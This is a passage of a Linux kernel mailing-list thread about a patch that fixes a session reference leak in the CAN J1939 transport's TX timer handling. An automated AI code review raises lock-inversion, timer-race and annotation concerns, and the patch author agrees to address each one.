+			ret = j1939_xtp_txnext_transmiter(session, &txtimer_delay);
 		else
 			ret = j1939_xtp_txnext_receiver(session);
 	}
@@ -1196,8 +1226,7 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
 		/* Retry limit is currently arbitrary chosen */
 		if (session->tx_retry < J1939_XTP_TX_RETRY_LIMIT) {
 			session->tx_retry++;
-			j1939_tp_schedule_txtimer(session,
-						  10 + get_random_u32_below(16));
+			txtimer_delay = 10 + get_random_u32_below(16);
 		} else {
 			netdev_alert(priv->ndev, "%s: 0x%p: tx retry count reached\n",
 				     __func__, session);
@@ -1232,6 +1261,12 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
 		}
 	}
 
+	if (txtimer_delay && !READ_ONCE(session->txtimer_shutdown)) {
+		hrtimer_start(hrtimer, ms_to_ktime(txtimer_delay),
+			      HRTIMER_MODE_REL_SOFT);
+		return HRTIMER_NORESTART;
+	}
+
 	j1939_session_put(session);
 
 	return HRTIMER_NORESTART;
@@ -1540,8 +1575,12 @@ static struct j1939_session *j1939_session_new(struct j1939_priv *priv,
 	skcb = j1939_skb_to_cb(skb);
 	memcpy(&session->skcb, skcb, sizeof(session->skcb));
 
-	hrtimer_setup(&session->txtimer, j1939_tp_txtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
-	hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
+	scoped_guard(spinlock_init, &session->txtimer_lock) {
+		hrtimer_setup(&session->txtimer, j1939_tp_txtimer,
+			      CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
+	}
+	hrtimer_setup(&session->rxtimer, j1939_tp_rxtimer,
+		      CLOCK_MONOTONIC, HRTIMER_MODE_REL_SOFT);
 
 	netdev_dbg(priv->ndev, "%s: 0x%p: sa: %02x, da: %02x\n",
 		   __func__, session, skcb->addr.sa, skcb->addr.da);
@@ -2234,24 +2273,37 @@ void j1939_simple_recv(struct j1939_priv *priv, struct sk_buff *skb)
 
 int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
 {
-	struct j1939_session *session, *saved;
+	struct j1939_session *session, *iter;
 
 	netdev_dbg(priv->ndev, "%s, sk: %p\n", __func__, sk);
-	j1939_session_list_lock(priv);
-	list_for_each_entry_safe(session, saved,
-				 &priv->active_session_list,
-				 active_session_list_entry) {
-		if (!sk || sk == session->sk) {
-			if (hrtimer_try_to_cancel(&session->txtimer) == 1)
-				j1939_session_put(session);
+	for (;;) {
+		session = NULL;
+		j1939_session_list_lock(priv);
+		list_for_each_entry(iter, &priv->active_session_list,
+				    active_session_list_entry) {
+			if (sk && sk != iter->sk)
+				continue;
+
+			/* Keep the session alive while cancellation waits for the
+			 * TX timer callback outside active_session_list_lock.
+			 */
+			session = iter;
+			j1939_session_get(session);
+			WRITE_ONCE(session->txtimer_shutdown, true);
 			if (hrtimer_try_to_cancel(&session->rxtimer) == 1)
 				j1939_session_put(session);
-
 			session->err = ESHUTDOWN;
 			j1939_session_deactivate_locked(session);
+			break;
 		}
+		j1939_session_list_unlock(priv);
+
+		if (!session)
+			break;
+
+		j1939_session_txtimer_cancel(session);
+		j1939_session_put(session);
 	}
-	j1939_session_list_unlock(priv);
 	return NOTIFY_DONE;
 }
 
-- 
2.43.0

Re: [PATCH v2 1/1] can: j1939: fix session reference leak on TX timer restart

[sashiko-bot]

Thank you for your contribution! Sashiko AI review found 3 potential issue(s) to consider:
- [High] can: j1939: rxtimer race and leak in j1939_cancel_active_session()
- [High] can: j1939: lock inversion calling hrtimer_cancel() under txtimer_lock
- [Low] can: j1939: missing lock annotations in j1939_session_list_lock()
--

commit f04ccae0c143b4770bcd167c770232649c770e32
Author: Zihan Xi <zihanx@nebusec.ai>

can: j1939: fix session reference leak on TX timer restart

This commit fixes a session reference leak when rearming an active TX hrtimer
by serializing TX timer starts and cancellations under a per-session spinlock
and reusing the existing timer reference. It also defers scheduling a newly
activated session until after dropping sk_session_queue_lock.

Link: https://bugtracker.nebusec.ai/f/11143
Link: https://lore.kernel.org/all/cover.1792979091.git.zihanx@nebusec.ai/

> diff --git a/net/can/j1939/Makefile b/net/can/j1939/Makefile
> index 19181bdae1736..113595c257309 100644
> --- a/net/can/j1939/Makefile
> +++ b/net/can/j1939/Makefile
> @@ -1,5 +1,7 @@
>  # SPDX-License-Identifier: GPL-2.0
>  
> +CONTEXT_ANALYSIS := y

[Severity: Low]
Enabling CONTEXT_ANALYSIS := y in net/can/j1939/Makefile opts all files in
this directory into Clang's thread-safety analysis when
CONFIG_WARN_CONTEXT_ANALYSIS=y is enabled.

In net/can/j1939/transport.c, j1939_session_list_lock() and
j1939_session_list_unlock() wrap spin_lock_bh() and spin_unlock_bh() without
context lock annotations:

static inline void j1939_session_list_lock(struct j1939_priv *priv)
{
	spin_lock_bh(&priv->active_session_list_lock);
}

static inline void j1939_session_list_unlock(struct j1939_priv *priv)
{
	spin_unlock_bh(&priv->active_session_list_lock);
}

Because spin_lock_bh() and spin_unlock_bh() carry __acquires() and
__releases() annotations, won't Clang emit -Wthread-safety-analysis warnings
(failing the build under CONFIG_WERROR=y) unless j1939_session_list_lock()
and j1939_session_list_unlock() are annotated with
__acquires(&priv->active_session_list_lock) and
__releases(&priv->active_session_list_lock)?

[ ... ]

> diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> index 8fcfd13e5e6f8..4a2e986023d89 100644
> --- a/net/can/j1939/transport.c
> +++ b/net/can/j1939/transport.c
> @@ -9,6 +9,7 @@
>  //                         Oleksij Rempel <kernel@pengutronix.de>
>  
>  #include <linux/can/skb.h>
> +#include <linux/cleanup.h>
>  #include <net/can.h>
>  
>  #include "j1939-priv.h"
> @@ -303,7 +304,13 @@ void j1939_session_put(struct j1939_session *session)
>  
>  static void j1939_session_txtimer_cancel(struct j1939_session *session)
>  {
> -	if (hrtimer_cancel(&session->txtimer))
> +	int ret;
> +
> +	spin_lock_bh(&session->txtimer_lock);
> +	ret = hrtimer_cancel(&session->txtimer);
> +	spin_unlock_bh(&session->txtimer_lock);
> +
> +	if (ret)
>  		j1939_session_put(session);
>  }

[Severity: High]
Can calling hrtimer_cancel() while holding session->txtimer_lock here (and in
j1939_tp_schedule_txtimer()) cause a lock ordering inversion with the hrtimer
softirq expiry lock?

Because session->txtimer and session->rxtimer use HRTIMER_MODE_REL_SOFT,
hrtimer_cancel() -> hrtimer_cancel_wait_running() acquires
cpu_base->softirq_expiry_lock when waiting for a running callback,
establishing the lock order:

  session->txtimer_lock -> cpu_base->softirq_expiry_lock

In the reverse direction, when j1939_tp_txtimer() or j1939_tp_rxtimer() runs
in softirq context under hrtimer_run_softirq() (which holds
cpu_base->softirq_expiry_lock), it can call:

  j1939_sk_queue_activate_next()
    -> j1939_tp_schedule_txtimer(next, txtimer_delay)
      -> spin_lock_bh(&next->txtimer_lock)

This establishes the reverse lock order:

  cpu_base->softirq_expiry_lock -> session->txtimer_lock

Since all session->txtimer_lock instances share the same lockdep class, won't
this trigger a lockdep circular locking dependency splat and risk deadlocking
on CONFIG_PREEMPT_RT when a softirq timer callback tries to acquire
next->txtimer_lock while another thread holds next->txtimer_lock waiting in
hrtimer_cancel()?

[ ... ]

> @@ -2234,24 +2273,37 @@ void j1939_simple_recv(struct j1939_priv *priv, struct sk_buff *skb)
>  
>  int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
>  {
> -	struct j1939_session *session, *saved;
> +	struct j1939_session *session, *iter;
>  
>  	netdev_dbg(priv->ndev, "%s, sk: %p\n", __func__, sk);
> -	j1939_session_list_lock(priv);
> -	list_for_each_entry_safe(session, saved,
> -				 &priv->active_session_list,
> -				 active_session_list_entry) {
> -		if (!sk || sk == session->sk) {
> -			if (hrtimer_try_to_cancel(&session->txtimer) == 1)
> -				j1939_session_put(session);
> +	for (;;) {
> +		session = NULL;
> +		j1939_session_list_lock(priv);
> +		list_for_each_entry(iter, &priv->active_session_list,
> +				    active_session_list_entry) {
> +			if (sk && sk != iter->sk)
> +				continue;
> +
> +			/* Keep the session alive while cancellation waits for the
> +			 * TX timer callback outside active_session_list_lock.
> +			 */
> +			session = iter;
> +			j1939_session_get(session);
> +			WRITE_ONCE(session->txtimer_shutdown, true);
>  			if (hrtimer_try_to_cancel(&session->rxtimer) == 1)
>  				j1939_session_put(session);
> -
>  			session->err = ESHUTDOWN;
>  			j1939_session_deactivate_locked(session);
> +			break;
>  		}
> +		j1939_session_list_unlock(priv);
> +
> +		if (!session)
> +			break;
> +
> +		j1939_session_txtimer_cancel(session);
> +		j1939_session_put(session);
>  	}
> -	j1939_session_list_unlock(priv);
>  	return NOTIFY_DONE;
>  }

[Severity: High]
In j1939_cancel_active_session(), can session->rxtimer remain armed after
j1939_session_txtimer_cancel() finishes, delaying or leaking the session,
socket, and net_device references and clobbering session->err?

While holding priv->active_session_list_lock, j1939_cancel_active_session()
calls hrtimer_try_to_cancel(&session->rxtimer), sets session->err = ESHUTDOWN,
and deactivates the session before dropping the lock and calling
j1939_session_txtimer_cancel(session).

If j1939_tp_txtimer() is concurrently running on another CPU (or starts before
j1939_session_txtimer_cancel() cancels it, or rearms itself because the
txtimer_shutdown check in j1939_tp_txtimer() is not serialized by
session->txtimer_lock), it executes j1939_simple_txnext(),
j1939_xtp_txnext_transmiter(), or j1939_xtp_txnext_receiver(). Those paths
call j1939_tp_set_rxtimeout(), which takes a new reference via
j1939_session_get(session) and starts session->rxtimer after
hrtimer_try_to_cancel(&session->rxtimer) has already run. For example,
j1939_simple_txnext() arms session->rxtimer for J1939_SIMPLE_ECHO_TIMEOUT_MS
(10s) before calling j1939_send_one(), and on -ENETDOWN, j1939_tp_txtimer()
leaves rxtimer armed expecting j1939_cancel_active_session() to clean it up.

In addition, if j1939_tp_rxtimer() is currently running and has re-armed
session->rxtimer, hrtimer_try_to_cancel(&session->rxtimer) returns -1 and does
not cancel the newly queued timer or drop its session reference.

Because j1939_session_deactivate_locked() has already removed the session from
priv->active_session_list, subsequent iterations of the loop will not see it
again. Should session->rxtimer be synchronously cancelled via
j1939_session_rxtimer_cancel(session) after j1939_session_txtimer_cancel(),
similar to j1939_session_timers_cancel()?

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793012287.git.zihanx@nebusec.ai?part=1

Re: [PATCH v2 1/1] can: j1939: fix session reference leak on TX timer restart

[zihan xi]

On Tue, Oct 27, 2026 at 9:28 PM <sashiko-bot@kernel.org> wrote:
>
> Thank you for your contribution! Sashiko AI review found 3 potential issue(s) to consider:
> - [High] can: j1939: rxtimer race and leak in j1939_cancel_active_session()
> - [High] can: j1939: lock inversion calling hrtimer_cancel() under txtimer_lock
> - [Low] can: j1939: missing lock annotations in j1939_session_list_lock()
> --
>
> commit f04ccae0c143b4770bcd167c770232649c770e32
> Author: Zihan Xi <zihanx@nebusec.ai>
>
> can: j1939: fix session reference leak on TX timer restart
>
> This commit fixes a session reference leak when rearming an active TX hrtimer
> by serializing TX timer starts and cancellations under a per-session spinlock
> and reusing the existing timer reference. It also defers scheduling a newly
> activated session until after dropping sk_session_queue_lock.
>
> Link: https://bugtracker.nebusec.ai/f/11143
> Link: https://lore.kernel.org/all/cover.1792979091.git.zihanx@nebusec.ai/
>
> > diff --git a/net/can/j1939/Makefile b/net/can/j1939/Makefile
> > index 19181bdae1736..113595c257309 100644
> > --- a/net/can/j1939/Makefile
> > +++ b/net/can/j1939/Makefile
> > @@ -1,5 +1,7 @@
> >  # SPDX-License-Identifier: GPL-2.0
> >
> > +CONTEXT_ANALYSIS := y
>
> [Severity: Low]
> Enabling CONTEXT_ANALYSIS := y in net/can/j1939/Makefile opts all files in
> this directory into Clang's thread-safety analysis when
> CONFIG_WARN_CONTEXT_ANALYSIS=y is enabled.
>
> In net/can/j1939/transport.c, j1939_session_list_lock() and
> j1939_session_list_unlock() wrap spin_lock_bh() and spin_unlock_bh() without
> context lock annotations:
>
> static inline void j1939_session_list_lock(struct j1939_priv *priv)
> {
>         spin_lock_bh(&priv->active_session_list_lock);
> }
>
> static inline void j1939_session_list_unlock(struct j1939_priv *priv)
> {
>         spin_unlock_bh(&priv->active_session_list_lock);
> }
>
> Because spin_lock_bh() and spin_unlock_bh() carry __acquires() and
> __releases() annotations, won't Clang emit -Wthread-safety-analysis warnings
> (failing the build under CONFIG_WERROR=y) unless j1939_session_list_lock()
> and j1939_session_list_unlock() are annotated with
> __acquires(&priv->active_session_list_lock) and
> __releases(&priv->active_session_list_lock)?

Thanks for pointing this out. I’ll add the acquire/release annotations
to the session-list lock wrappers and validate the J1939 context-analysis
build with clang-23.
>
> [ ... ]
>
> > diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> > index 8fcfd13e5e6f8..4a2e986023d89 100644
> > --- a/net/can/j1939/transport.c
> > +++ b/net/can/j1939/transport.c
> > @@ -9,6 +9,7 @@
> >  //                         Oleksij Rempel <kernel@pengutronix.de>
> >
> >  #include <linux/can/skb.h>
> > +#include <linux/cleanup.h>
> >  #include <net/can.h>
> >
> >  #include "j1939-priv.h"
> > @@ -303,7 +304,13 @@ void j1939_session_put(struct j1939_session *session)
> >
> >  static void j1939_session_txtimer_cancel(struct j1939_session *session)
> >  {
> > -     if (hrtimer_cancel(&session->txtimer))
> > +     int ret;
> > +
> > +     spin_lock_bh(&session->txtimer_lock);
> > +     ret = hrtimer_cancel(&session->txtimer);
> > +     spin_unlock_bh(&session->txtimer_lock);
> > +
> > +     if (ret)
> >               j1939_session_put(session);
> >  }
>
> [Severity: High]
> Can calling hrtimer_cancel() while holding session->txtimer_lock here (and in
> j1939_tp_schedule_txtimer()) cause a lock ordering inversion with the hrtimer
> softirq expiry lock?
>
> Because session->txtimer and session->rxtimer use HRTIMER_MODE_REL_SOFT,
> hrtimer_cancel() -> hrtimer_cancel_wait_running() acquires
> cpu_base->softirq_expiry_lock when waiting for a running callback,
> establishing the lock order:
>
>   session->txtimer_lock -> cpu_base->softirq_expiry_lock
>
> In the reverse direction, when j1939_tp_txtimer() or j1939_tp_rxtimer() runs
> in softirq context under hrtimer_run_softirq() (which holds
> cpu_base->softirq_expiry_lock), it can call:
>
>   j1939_sk_queue_activate_next()
>     -> j1939_tp_schedule_txtimer(next, txtimer_delay)
>       -> spin_lock_bh(&next->txtimer_lock)
>
> This establishes the reverse lock order:
>
>   cpu_base->softirq_expiry_lock -> session->txtimer_lock
>
> Since all session->txtimer_lock instances share the same lockdep class, won't
> this trigger a lockdep circular locking dependency splat and risk deadlocking
> on CONFIG_PREEMPT_RT when a softirq timer callback tries to acquire
> next->txtimer_lock while another thread holds next->txtimer_lock waiting in
> hrtimer_cancel()?

This is valid. I’ll redesign the timer synchronization and reference
handoff so that no path waits for a callback while holding txtimer_lock.

>
> [ ... ]
>
> > @@ -2234,24 +2273,37 @@ void j1939_simple_recv(struct j1939_priv *priv, struct sk_buff *skb)
> >
> >  int j1939_cancel_active_session(struct j1939_priv *priv, struct sock *sk)
> >  {
> > -     struct j1939_session *session, *saved;
> > +     struct j1939_session *session, *iter;
> >
> >       netdev_dbg(priv->ndev, "%s, sk: %p\n", __func__, sk);
> > -     j1939_session_list_lock(priv);
> > -     list_for_each_entry_safe(session, saved,
> > -                              &priv->active_session_list,
> > -                              active_session_list_entry) {
> > -             if (!sk || sk == session->sk) {
> > -                     if (hrtimer_try_to_cancel(&session->txtimer) == 1)
> > -                             j1939_session_put(session);
> > +     for (;;) {
> > +             session = NULL;
> > +             j1939_session_list_lock(priv);
> > +             list_for_each_entry(iter, &priv->active_session_list,
> > +                                 active_session_list_entry) {
> > +                     if (sk && sk != iter->sk)
> > +                             continue;
> > +
> > +                     /* Keep the session alive while cancellation waits for the
> > +                      * TX timer callback outside active_session_list_lock.
> > +                      */
> > +                     session = iter;
> > +                     j1939_session_get(session);
> > +                     WRITE_ONCE(session->txtimer_shutdown, true);
> >                       if (hrtimer_try_to_cancel(&session->rxtimer) == 1)
> >                               j1939_session_put(session);
> > -
> >                       session->err = ESHUTDOWN;
> >                       j1939_session_deactivate_locked(session);
> > +                     break;
> >               }
> > +             j1939_session_list_unlock(priv);
> > +
> > +             if (!session)
> > +                     break;
> > +
> > +             j1939_session_txtimer_cancel(session);
> > +             j1939_session_put(session);
> >       }
> > -     j1939_session_list_unlock(priv);
> >       return NOTIFY_DONE;
> >  }
>
> [Severity: High]
> In j1939_cancel_active_session(), can session->rxtimer remain armed after
> j1939_session_txtimer_cancel() finishes, delaying or leaking the session,
> socket, and net_device references and clobbering session->err?
>
> While holding priv->active_session_list_lock, j1939_cancel_active_session()
> calls hrtimer_try_to_cancel(&session->rxtimer), sets session->err = ESHUTDOWN,
> and deactivates the session before dropping the lock and calling
> j1939_session_txtimer_cancel(session).
>
> If j1939_tp_txtimer() is concurrently running on another CPU (or starts before
> j1939_session_txtimer_cancel() cancels it, or rearms itself because the
> txtimer_shutdown check in j1939_tp_txtimer() is not serialized by
> session->txtimer_lock), it executes j1939_simple_txnext(),
> j1939_xtp_txnext_transmiter(), or j1939_xtp_txnext_receiver(). Those paths
> call j1939_tp_set_rxtimeout(), which takes a new reference via
> j1939_session_get(session) and starts session->rxtimer after
> hrtimer_try_to_cancel(&session->rxtimer) has already run. For example,
> j1939_simple_txnext() arms session->rxtimer for J1939_SIMPLE_ECHO_TIMEOUT_MS
> (10s) before calling j1939_send_one(), and on -ENETDOWN, j1939_tp_txtimer()
> leaves rxtimer armed expecting j1939_cancel_active_session() to clean it up.
>
> In addition, if j1939_tp_rxtimer() is currently running and has re-armed
> session->rxtimer, hrtimer_try_to_cancel(&session->rxtimer) returns -1 and does
> not cancel the newly queued timer or drop its session reference.
>
> Because j1939_session_deactivate_locked() has already removed the session from
> priv->active_session_list, subsequent iterations of the loop will not see it
> again. Should session->rxtimer be synchronously cancelled via
> j1939_session_rxtimer_cancel(session) after j1939_session_txtimer_cancel(),
> similar to j1939_session_timers_cancel()?

This is valid. The TX callback can rearm the RX timer after the current
try-to-cancel, and an in-flight RX callback can overwrite the shutdown
error. I’ll synchronize RX timer cancellation after draining the TX
callback and ensure the shutdown error is preserved.
>
> --
> Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793012287.git.zihanx@nebusec.ai?part=1